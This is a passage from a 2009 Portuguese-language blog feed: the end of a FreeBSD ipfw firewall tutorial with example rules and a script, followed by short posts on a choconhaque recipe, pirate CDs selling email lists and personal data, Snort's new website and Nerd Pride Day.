/&gt;divert porta&lt;br /&gt;Redireciona o pacote para a porta especificada, utilizando um socket "divert". Pode ser especificado número ou nome, veja /etc/services.&lt;br /&gt;&lt;br /&gt;fwd ip[,porta]&lt;br /&gt;Sinônimo de forward, encaminha o pacote para o ip especificado. Se o ip for local será encaminhado para a porta especificada, se o ip não for local a porta será ignorada. O pacote não é alterado, e isto inclui o ip de destino, então se o pacote for encaminhado para outro host provavelmente será rejeitado. Caso seja encaminhado para um ip local, desta máquina, o socket que irá receber o pacote terá o seu endereço alterado para coincidir com o endereço de destino do pacote, aceitando desta forma o mesmo.&lt;br /&gt;&lt;br /&gt;pipe número&lt;br /&gt;Passa o pacote através de um "pipe" dummynet, para controle de tráfego.&lt;br /&gt;&lt;br /&gt;queue número&lt;br /&gt;Passa o pacote para uma "queue" dummynet, para controle de tráfego utilizando WF2Q+.&lt;br /&gt;&lt;br /&gt;reset&lt;br /&gt;Descarta o pacote, e se o mesmo for TCP tenta enviar um TCP RST.&lt;br /&gt;&lt;br /&gt;skipto número&lt;br /&gt;Pula para a regra de número especificado.&lt;br /&gt;&lt;br /&gt;tee porta&lt;br /&gt;Aceita o pacote e envia uma cópia do mesmo para a porta especificada, via socket "divert".&lt;br /&gt;&lt;br /&gt;unreach código&lt;br /&gt;Descarta o pacote, e tenta enviar uma resposta "ICMP unreachable" com o código especificado. O código deve ser entre 0 e 255, ou alguma destas palavras chave: net, host, protocol, port, needfrag, srcfail, net-unknown, host-unknown, isolated, net-prohib, host-prohib, tosnet, toshost, filter-prohib, host-precedence ou precedence-cutoff.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[log [logamount número] ]&lt;br /&gt;Caso mencionada a palavra log, cada vez que um pacote coincidir com esta regra será feito um log, através do syslog. Caso seja inserido logamount número, este será o limite de vezes que será feito o log para esta regra. O valor 0 (zero) significa sem limites. Caso não seja inserido logamount, o padrão é o limite que foi configurado no kernel.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;corpo_regra&lt;br /&gt;Contém uma ou mais exigências que o pacote precisa coincidir para a regra ser atendida. Essa especificação pode incluir endereço ip de origem, endereço ip de destino, porta de origem, porta de destino, protocolo, interface de rede de entrada, interface de rede de saída etc. O corpo da regra pode possuir uma ou mais opções. Essas opções podem ser precedidas de "not", como negação, ou serem agrupadas em blocos OR, entre chaves, por exemplo: { dst-port 50 or dst-port 51 or not src-port 52 }.&lt;br /&gt;&lt;br /&gt;A seguir as opções mais importantes:&lt;br /&gt;&lt;br /&gt;// comentário&lt;br /&gt;Insere o texto como sendo um comentário na regra.&lt;br /&gt;&lt;br /&gt;dst-ip endereço&lt;br /&gt;Endereço IP de destino do pacote.&lt;br /&gt;&lt;br /&gt;dst-port porta&lt;br /&gt;Porta(s) de destino do pacote. Se for especificada mais de uma porta, separar por vírgula (50, 51, 52), ou em faixa de portas (50-60).&lt;br /&gt;&lt;br /&gt;established&lt;br /&gt;Se o pacote tiver os bits RST ou ACK.&lt;br /&gt;&lt;br /&gt;frag&lt;br /&gt;fragmentos de pacotes, não sendo o primeiro fragmento.&lt;br /&gt;&lt;br /&gt;gid grupo&lt;br /&gt;Pacotes TCP ou UDP enviados ou recebidos pelo grupo. O grupo pode ser especificado pelo nome ou pelo GID.&lt;br /&gt;&lt;br /&gt;icmptypes tipo&lt;br /&gt;Tipo(s) de pacotes ICMP. Se for mais de um, separar por vírgula. Os tipos podem ser: echo reply (0), destination unreachable (3), source quench (4), redirect (5), echo request (8), router advertisement (9), router solicitation (10), time-to-live exceeded (11), IP header bad (12), timestamp request (13), timestamp reply (14), information request (15), information reply (16), address mask request (17) e address mask reply (18).&lt;br /&gt;&lt;br /&gt;in | out&lt;br /&gt;Pacotes de entrada ou de saída. Note que isto significa que os pacotes estão entrando ou saindo da máquina, então mesmo que um pacote venha da rede interna, estará entrando na máquina antes de sair.&lt;br /&gt;&lt;br /&gt;keep-state&lt;br /&gt;Quando um pacote coincidir com uma regra que tiver esta opção, será criada uma regra dinâmica, cujo comportamento será coincidir o tráfego bidirecional entre este ip/porta de origem e ip/porta de destino, no mesmo protocolo. A regra dinâmica expira após um certo tempo. Dessa forma, pode-se definir uma regra "check-state" anterior a esta, liberando este fluxo de pacotes, e teremos um firewall "stateful".&lt;br /&gt;&lt;br /&gt;limit {ip-origem | porta-origem | ip-destino | porta-destino} número&lt;br /&gt;Serão permitidas apenas o número especificado de conexões com os parâmetros especificados.&lt;br /&gt;&lt;br /&gt;mac mac-destino mac-origem&lt;br /&gt;Pacotes com o endereço MAC de destino e/ou de origem especificados. Se não for especificado algum deverá ser usada a palavra "any", para coincidir com todos os endereços.&lt;br /&gt;&lt;br /&gt;proto protocolo&lt;br /&gt;Pacotes com o protocolo (IP) especificado. Veja /etc/protocols.&lt;br /&gt;&lt;br /&gt;recv interface | xmit interface | via interface&lt;br /&gt;Pacotes recebidos pela interface de rede especificada (recv xl0), pacotes transmitidos pela interface especificada (xmit fxp0), ou pacotes passando pela interface, independentemente de entrar ou sair (via xl0). Quando xmit for utilizado é requerida a opção "out", já que o pacote estará saindo.&lt;br /&gt;&lt;br /&gt;setup&lt;br /&gt;Pacotes com o bit SYN mas sem o bit ACK.&lt;br /&gt;&lt;br /&gt;src-ip endereço&lt;br /&gt;Endereço IP de origem do pacote.&lt;br /&gt;&lt;br /&gt;src-port porta&lt;br /&gt;Porta(s) de origem do pacote.&lt;br /&gt;&lt;br /&gt;tcpflags flags&lt;br /&gt;Flags dos pacotes TCP, separadas por vírgula. As possíveis são: fin, syn, rst, psh, ack e urg. A negação pode ser feita por um "!".&lt;br /&gt;&lt;br /&gt;uid usuário&lt;br /&gt;Pacotes TCP ou UDP enviados ou recebidos pelo usuário. O usuário pode ser especificado pelo username ou pelo UID.&lt;br /&gt;&lt;br /&gt;vrrevpath&lt;br /&gt;Pra pacotes de entrada, é feita uma consulta ao endereço de origem na tabela de roteamento. Se a interface na qual o pacote entrou é a mesma de saída especificada pela rota, então a regra coincide. Isto pode ser utilizado para criar regras anti-spoofing. Os pacotes de saída não são submetidos à verificação.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Firewall Stateful&lt;br /&gt;&lt;br /&gt;O funcionamento stateful permite que o firewall crie regras dinâmicas para fluxos específicos de pacotes. Pode-se fazer algumas coisas interessantes, como por exemplo manter o firewall fechado, bloqueando todo tráfego de fora para dentro e permitindo apenas que pacotes da rede interna saiam para a rede externa, passando por uma regra "keep-state". Assim, cada conexão feita de dentro para fora irá criar uma regra dinâmica, que irá liberar aquele tráfego nas duas direções, permitindo que os dados de resposta, por exemplo, uma página web que um usuário acessou, cheguem até a máquina do usuário, na rede interna.&lt;br /&gt;As regras dinâmicas possuem as seguintes informações: protocolo, endereço IP e porta de origem e endereço IP e porta de destino. Elas irão permitir o tráfego bidirecional, ou seja, mesmo que os endereços de origem e destino se invertam. Isto é uma das coisas que possibilita criar o que foi descrito acima. As regras dinâmicas possuem um tempo de vida limitado, que é determinado pelas variáveis net.inet.ip.fw.dyn*, do sysctl (maiores informações vide a man page do sysctl). Estas variáveis também determinam o número máximo de regras dinâmicas, entre outros.&lt;br /&gt;Uma regra dinâmica é criada cada vez que um pacote coincide com uma regra que possua as opções keep-state ou limit, não sem antes checar se a regra já existe. As regras dinâmicas são checadas na ocorrência da ação check-state.&lt;br /&gt;&lt;br /&gt;Exemplo:&lt;br /&gt;&lt;br /&gt;# ipfw add 1000 check-state&lt;br /&gt;# ipfw add 1100 allow tcp from 10.10.0.0/16 to any setup keep-state&lt;br /&gt;# ipfw add 1200 deny tcp from any to any&lt;br /&gt;&lt;br /&gt;Este conjunto de regras irá, para cada pacote:&lt;br /&gt;1. Checar se existe alguma regra dinâmica que permita o tráfego do mesmo;&lt;br /&gt;2. Caso o pacote seja da rede 10.10.0.0/16 e tiver o bit SYN, mas não o bit ACK (indicando desta forma um início de conexão), irá permitir o tráfego e criar uma regra dinâmica;&lt;br /&gt;3. Bloquear qualquer outro tráfego.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Log&lt;br /&gt;&lt;br /&gt;Para direcionar os logs do ipfw para o arquivo /var/log/ipfw/ipfw.log, primeiramente crie este diretório e este arquivo:&lt;br /&gt;&lt;br /&gt;# mkdir /var/log/ipfw&lt;br /&gt;# touch /var/log/ipfw/ipfw.log&lt;br /&gt;# chmod -R 600 /var/log/ipfw&lt;br /&gt;&lt;br /&gt;Então adicione as seguintes linhas ao arquivo /var/log/syslog.conf:&lt;br /&gt;&lt;br /&gt;!ipfw&lt;br /&gt;*.*                /var/log/ipfw/ipfw.log&lt;br /&gt;&lt;br /&gt;Após isso, reinicie o syslog, através do comando "killall -HUP syslog". Talvez seja interessante também criar um script que faça a rotação deste log e agendar no Cron, ou adicionar uma entrada no newsyslog.conf, para que o arquivo não fique demasiado grande.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Arquivo de Regras&lt;br /&gt;&lt;br /&gt;Não é recomendado editar o arquivo /etc/rc.firewall, que vem com o sistema. O seu conjunto de regras deverá ficar em um arquivo separado, exclusivo para isso. Este arquivo poderá ser um script shell ou poderá ser apenas uma listagem de regras, que o ipfw irá interpretar. O tipo de arquivo é uma escolha pessoal, e não fará diferença no funcionamento do firewall.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Arquivo com listagem de regras&lt;br /&gt;&lt;br /&gt;Deverá ser criado um arquivo, por exemplo /etc/firewall, com dono root e permissão 600. Neste arquivo serão colocadas as regras, que são iguais às passadas via linha de comando ao ipfw, mas sem o comando "ipfw" no começo. Exemplo:&lt;br /&gt;&lt;br /&gt;add 1000 allow src-ip 10.10.0.0/16 dst-ip 192.168.0.0/16&lt;br /&gt;&lt;br /&gt;Para efetuar a inicialização destas regras no momento da inicialização, adicione ou modifique as seguintes linhas no /etc/rc.conf:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;firewall_enable="YES"&lt;br /&gt;firewall_type="/etc/firewall"&lt;br /&gt;firewall_quiet="YES"&lt;br /&gt;&lt;br /&gt;A opção firewall_quiet faz com que seja executado o comando "ipfw -q" ao invés de simplesmente "ipfw", ao ler cada regra do arquivo. Dessa forma ocorrerá uma operação "silenciosa", não gerando saídas na tela. Para interpretar um arquivo deste tipo via linha de comando, simplesmente execute "ipfw /etc/firewall".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Script de regras&lt;br /&gt;&lt;br /&gt;No caso de criamos um script shell com as regras, também deverá ser criado um arquivo exclusivo para isso, como por exemplo /etc/firewall.sh, com dono root e permissão 700. O conteúdo deste arquivo pode ser como você quiser, pois trata-se de um script comum. Quando for passar as regras, o comando ipfw deve ser exatamente como se fosse via linha de comando. É recomendado usar a opção "-q", do comando ipfw, em scripts.&lt;br /&gt;Para que o script seja executado na inicialização do sistema, edite o arquivo /etc/rc.conf, remova as linhas (caso existirem) firewall_type e firewall_quiet, mantenha a linha&lt;br /&gt;&lt;br /&gt;firewall_enable="YES"&lt;br /&gt;&lt;br /&gt;e adicione a seguinte linha:&lt;br /&gt;&lt;br /&gt;firewall_script="/etc/firewall.sh"&lt;br /&gt;&lt;br /&gt;Deste ponto em diante, cabe a você decidir como deverá ser o comportamento do seu firewall, tendo em vista a que ele se destina. Sugiro a leitura do livro "Building Internet Firewalls", de D. Brent Chapman e Elizabeth D. Zwicky, da editora O'Reilly. Seguem abaixo algumas regras e um script simples, a título de exemplo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exemplos de Regras&lt;br /&gt;&lt;br /&gt;(não esquecer do comando "ipfw" antes delas):&lt;br /&gt;&lt;br /&gt;add 100 allow via lo0&lt;br /&gt;add 200 deny { dst-ip 127.0.0.0/8 or src-ip 127.0.0.0/8 }&lt;br /&gt;&lt;br /&gt;Observe os espaços após a "{" e antes da "}". Se não houver este espaço será retornado o seguinte erro:&lt;br /&gt;&lt;br /&gt;ipfw in free(): warning: modified (chunk-) pointer&lt;br /&gt;&lt;br /&gt;Estas duas regras acima terão o mesmo efeito que as regras abaixo, no formato antigo, descritas anteriormente:&lt;br /&gt;&lt;br /&gt;add 100 pass all from any to any via lo0&lt;br /&gt;add 200 deny all from any to 127.0.0.0/8&lt;br /&gt;add 300 deny ip from 127.0.0.0/8 to any&lt;br /&gt;&lt;br /&gt;add 1000 allow src-ip 10.10.0.0/16 dst-port 80&lt;br /&gt;add 1100 allow dst-ip 10.10.0.0/16 dst-port 1024-65535&lt;br /&gt;&lt;br /&gt;Irá permitir que máquinas da rede 10.10.0.0/16 enviem pacotes com destino a porta 80 e irá permitir que pacotes cheguem até a rede 10.10.0.0/16 com destino a portas entre 1024 e 65535, permitindo por exemplo a resposta de um pedido HTTP.&lt;br /&gt;&lt;br /&gt;add 1000 allow proto tcp dst-port ssh recv xl0&lt;br /&gt;add 1100 deny proto tcp dst-port ssh out&lt;br /&gt;&lt;br /&gt;Irá permitir que a máquina receba conexões TCP pela interface de rede xl0, à porta do ssh, que é a porta 22, conforme definido no arquivo /etc/services. Também irá negar a saída de qualquer pacote com protocolo TCP e com destino a porta do ssh.&lt;br /&gt;&lt;br /&gt;add 1000 check-state&lt;br /&gt;add 1100 allow src-ip 10.10.0.0/16 keep-state&lt;br /&gt;add 1200 deny log ip from any to any&lt;br /&gt;&lt;br /&gt;Irá permitir que a rede 10.10.0.0/16 estabeleça qualquer conexão, cujo tráfego de resposta será liberado pelas regras dinâmicas que serão criadas pela regra 1100 e que serão checadas pela regra 1000. Qualquer outro tráfego será bloqueado e logado no arquivo de log.&lt;br /&gt;&lt;br /&gt;add 50 deny not vrrevpath in&lt;br /&gt;&lt;br /&gt;Irá bloquear ip-spoofing, conforme explicado anteriormente.&lt;br /&gt;&lt;br /&gt;add 500 deny log { src-ip 10.0.0.0/8 or dst-ip 10.0.0.0/8 } via xl0&lt;br /&gt;add 510 deny log { src-ip 172.16.0.0/12 or dst-ip 172.16.0.0/12 } via xl0&lt;br /&gt;add 520 deny log { src-ip 192.168.0.0/16 or dst-ip 192.168.0.0/16 } via xl0&lt;br /&gt;&lt;br /&gt;Irá proibir o tráfego de pacotes de redes privadas, conforme definido na RFC1918, na interface de rede xl0. Também irá fazer log quando a regra coincidir com algum pacote.&lt;br /&gt;&lt;br /&gt;add 100 prob 0.05 deny in&lt;br /&gt;&lt;br /&gt;Irá bloquear 5% dos pacotes de entrada, como se houvesse perda de pacotes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exemplo de Script&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;&lt;br /&gt;ipfw="/sbin/ipfw -q"&lt;br /&gt;&lt;br /&gt;# IP local&lt;br /&gt;ip="10.10.0.5"&lt;br /&gt;&lt;br /&gt;# Portas de entrada permitidas&lt;br /&gt;portas="22,53,80"&lt;br /&gt;&lt;br /&gt;$ipfw flush&lt;br /&gt;$ipfw add 100 deny log not verrevpath in&lt;br /&gt;$ipfw add 1000 check-state&lt;br /&gt;$ipfw add 1100 allow src-ip $ip keep-state&lt;br /&gt;$ipfw add 1200 allow dst-port $portas in&lt;br /&gt;$ipfw add 65000 deny ip from any to any&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;By CleBeeR...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-2973754448026022145?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/2973754448026022145/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=2973754448026022145&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2973754448026022145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/2973754448026022145'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/06/freebsd-com-ipfw.html' title='FreeBSD com IPFW'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-5496584459658607393</id><published>2009-06-03T10:47:00.001-07:00</published><updated>2009-06-03T10:50:47.377-07:00</updated><title type='text'>Esse frio pede um Choconhaque</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3190/2611580331_a3d77ea56e.jpg?v=0"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 262px; height: 175px;" src="http://farm4.static.flickr.com/3190/2611580331_a3d77ea56e.jpg?v=0" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Esta semana aqui em São Paulo o frio esta castigando e com esse frio a boa e velha cerveja não desce muito bem. O que fazer? ficar sem beber? isso não..rsrsr no frio o que eu costumo beber é o choconhaque, uma bebida quente que ajuda a manter o corpo aquecido e a mente tranquila..rsrs mas vamos a receita, ele é muito fácil só precisamos de:&lt;br /&gt;&lt;br /&gt;Leite condensado&lt;br /&gt;chocolate em pó&lt;br /&gt;conhaque&lt;br /&gt;&lt;br /&gt;Como preparar?&lt;br /&gt;&lt;br /&gt;Em uma xícara você coloca o leite condensado até a metade da xícara e coloque chocolate em pó a gosto....&lt;br /&gt;misture os dois até parecer uma massa para brigadeiro, depois complete a xícara com o conhaque e misture até ficar com a consistência de uma vitamina, então leve ao micro-ondas por 1 minuto...&lt;br /&gt;&lt;br /&gt;Pronto agora é só relaxar e curtir i frio..rsrsr&lt;br /&gt;&lt;br /&gt;Ps.&lt;br /&gt;Também existe a receita de choconhaque que vai creme de leite, cocolate meio amargo etc... mas resolvi postar essa pois da menos trabalho para fazer e é mais barata....rsrsr&lt;br /&gt;&lt;br /&gt;Happy drinking&lt;br /&gt;By CleBeer |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-5496584459658607393?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/5496584459658607393/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=5496584459658607393&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5496584459658607393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/5496584459658607393'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/06/esse-frio-pede-um-choconhaque.html' title='Esse frio pede um Choconhaque'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-7253787639799030111</id><published>2009-05-28T13:51:00.000-07:00</published><updated>2009-05-28T14:05:06.521-07:00</updated><title type='text'>Torne-se um spammer com apenas 20 reais</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.grupo-utopia.com/blog/isou/Stupidity/16-dr%20evil.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 156px; height: 226px;" src="http://www.grupo-utopia.com/blog/isou/Stupidity/16-dr%20evil.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Caminhando pelo centro de São Paulo vi em uma daquelas barraquinhas que vende&lt;br /&gt;CDs piratas um CD intitulado "&lt;span style="font-weight: bold;"&gt;45 milhões de emails&lt;/span&gt;"... Opa.. interessante hein&lt;br /&gt;perguntei para o garoto que cuidava da barraca o que mais de CD ele possuia nesste mesmo gênero...&lt;br /&gt;Então ele começou a me mostrar...&lt;br /&gt;- CD com detalhes de diversas empresas no estado de São Paulo (inclusive contendo CNPJ e CPF dos sócios)&lt;br /&gt;- CD com o título "como se tornar hacker" (esse deu até medo rsrs) segundo o garoto da barraca ele continha diversas ferramentas para roubo de senha e listas com senhas de emails, msn, perfis de Orkut, etc...&lt;br /&gt;E o que me deu mais medo foi um DVD com o cadastro de todos os CPFs e CNPJs cadastrados na receita federal (esse inclusive contendo dados do imposto de renda das pessoas).&lt;br /&gt;Show de bola vamos ver o que encontramos..rsrs&lt;br /&gt;comprei o CD com os 45 milhoes de emails e o cd com cadastro das empresas paulistas...&lt;br /&gt;Primeiro vamos ver o CD com os emails... será que acho meu email aqui? rsrs&lt;br /&gt;O CD é muito bem organizado, dividido em pessoas físicas e jurídicas, 400 mil emails do IG, mais de 415 mil emails do hotmail mas o meu email não esta em nenhum deles... ufaa!!! alívio...&lt;br /&gt;O interessante do CD com os emails é que também vem vários programinhas pra envio de spam, ops mala direta..rsrs&lt;br /&gt;Agora vamos ao CD com os dados das empresas de São Paulo... o legal é que neste CD você já ganha inteiramente "de grátis" e sem nenhum custo adicional 10 arquivos infectados com trojans....rsrs&lt;br /&gt;Maravilha hein...rsrs Mas vamos ao que interessa... boot na maquina virtual e install no CD.....&lt;br /&gt;Mais uma vez a tensão... será que meu nome esta nesta lista? huahua&lt;br /&gt;Ufaaaa também me safei desta..rsrs mas o legal deste CD é que você pode dar um search pelo nome da empresa e ver a lista de sócios com seus respectivos CPF, data de nascimento, endereço e cargo.. show de bola hein.. prato cheio para as mentes perigosas...&lt;br /&gt;e tudo isso com apenas 20 reais hein..&lt;br /&gt;Agora me vem a seguinte pergunta na cabeça... será que estes CDs tem boa saida? estes CD possuem informações extremamente sigilosas e em poder de pessoas sem escrúpulos podem gerar muito prejuízo e dor de cabeça.&lt;br /&gt;Como se defender destes perigos..rsrsrs&lt;br /&gt;&lt;br /&gt;Ps.&lt;br /&gt;Por favor não comprem estes CD para utiliza-los para o mal....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[]s&lt;br /&gt;By CleBeeR |_b&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-7253787639799030111?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/7253787639799030111/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=7253787639799030111&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7253787639799030111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/7253787639799030111'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/05/torne-se-um-spammer-com-apenas-20-reais.html' title='Torne-se um spammer com apenas 20 reais'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-3074697589851300127</id><published>2009-05-28T09:13:00.000-07:00</published><updated>2009-05-28T09:20:22.984-07:00</updated><title type='text'>Novo site do Snort</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.net-security.org/images/articles/snort-black.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 126px; height: 107px;" src="http://www.net-security.org/images/articles/snort-black.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Esta no ar o novo site do snort com novo layout, o novo site vem no ano em que o snort comemora 10 anos de vida com mais de 3.7 milhões de downloads e mais de  244,000 usuários registrados.&lt;br /&gt;Para conferir o novo site acesse:&lt;br /&gt;&lt;a href="http://www.snort.org/"&gt;www.snort.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;By CleBeer&lt;br /&gt;Happy Snorting...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-3074697589851300127?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/3074697589851300127/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3801955527535480990&amp;postID=3074697589851300127&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3074697589851300127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3801955527535480990/posts/default/3074697589851300127'/><link rel='alternate' type='text/html' href='http://clebeerpub.blogspot.com/2009/05/10-anos-de-snort-com-site-novo.html' title='Novo site do Snort'/><author><name>CleBeer's Pub</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_zPY0AjwymTU/ScKeF-VeNjI/AAAAAAAAAKY/2DiibN2lKkc/S220/brandao.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3801955527535480990.post-5075447378275449394</id><published>2009-05-25T10:10:00.000-07:00</published><updated>2009-05-25T10:19:37.445-07:00</updated><title type='text'>25 de maio é dia Internacional dos Nerd</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.webnerdtv.com/COMPUTER_NERD_INSIDE.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 147px; height: 109px;" src="http://www.webnerdtv.com/COMPUTER_NERD_INSIDE.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Para os Nerd e Geeks de plantão, hoje é nosso dia.. 25 de maio é conhecido como dia internacional do orgulho nerd e para curtir ai vão nossos direitos e deveres.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Direitos:&lt;/li&gt;&lt;/ul&gt; &lt;ol&gt;&lt;li&gt;O direito de ser ainda mais nerd.&lt;/li&gt;&lt;li&gt;O direito de não sair de casa.&lt;/li&gt;&lt;li&gt;O direito de não gostar de futebol ou de qualquer outro esporte.&lt;/li&gt;&lt;li&gt;O direito de se associar a outros nerds.&lt;/li&gt;&lt;li&gt;O direito de ter poucos (ou nenhum) amigo.&lt;/li&gt;&lt;li&gt;O direito de ter tantos amigos nerds quanto quiser.&lt;/li&gt;&lt;li&gt;O direito de não ter que estar "no estilo".&lt;/li&gt;&lt;li&gt;O direito ao sobrepeso (ou subpeso) e de ter problemas de vista.&lt;/li&gt;&lt;li&gt;O direito de expressar sua &lt;i&gt;nerdice&lt;/i&gt;.&lt;/li&gt;&lt;li&gt;O direito de dominar o mundo.&lt;/li&gt;&lt;/ol&gt; &lt;ul&gt;&lt;li&gt;Deveres&lt;/li&gt;&lt;/ul&gt; &lt;ol&gt;&lt;li&gt;Ser nerd, não importa o quê.&lt;/li&gt;&lt;li&gt;Tentar ser mais nerd do que qualquer um.&lt;/li&gt;&lt;li&gt;Se há uma discussão sobre um assunto nerd, você tem que dar sua opinião.&lt;/li&gt;&lt;li&gt;Guardar todo e qualquer objeto nerd que você tenha.&lt;/li&gt;&lt;li&gt;Fazer todo o possível para exibir seus objetos nerds como se fosse um "museu da nerdice".&lt;/li&gt;&lt;li&gt;Não ser um nerd genérico. Você tem que ser especialista em algo.&lt;/li&gt;&lt;li&gt;Assistir a qualquer filme nerd na noite de estréia e comprar qualquer livro nerd antes de todo mundo.&lt;/li&gt;&lt;li&gt;Esperar na fila em toda noite de estréia. Se puder ir fantasiado, ou pelo menos com uma camisa relacionada ao tema, melhor ainda.&lt;/li&gt;&lt;li&gt;Não perder seu tempo em nada que não seja relacionado à nerdice.&lt;/li&gt;&lt;li&gt;Tentar dominar o mundo!&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;E para curtir veja a seguir uns sinais geeks bem legais&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zPY0AjwymTU/ShrSpcIpgvI/AAAAAAAAANc/g62SEg9GD_U/s1600-h/geek_gang_signs.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 136px; height: 200px;" src="http://3.bp.blogspot.com/_zPY0AjwymTU/ShrSpcIpgvI/AAAAAAAAANc/g62SEg9GD_U/s200/geek_gang_signs.jpg" alt="" id="BLOGGER_PHOTO_ID_5339811917570081522" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Feliz dia dos Nerds.&lt;br /&gt;By CleBeer&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3801955527535480990-5075447378275449394?l=clebeerpub.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clebeerpub.blogspot.com/feeds/5075447378275449394/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' 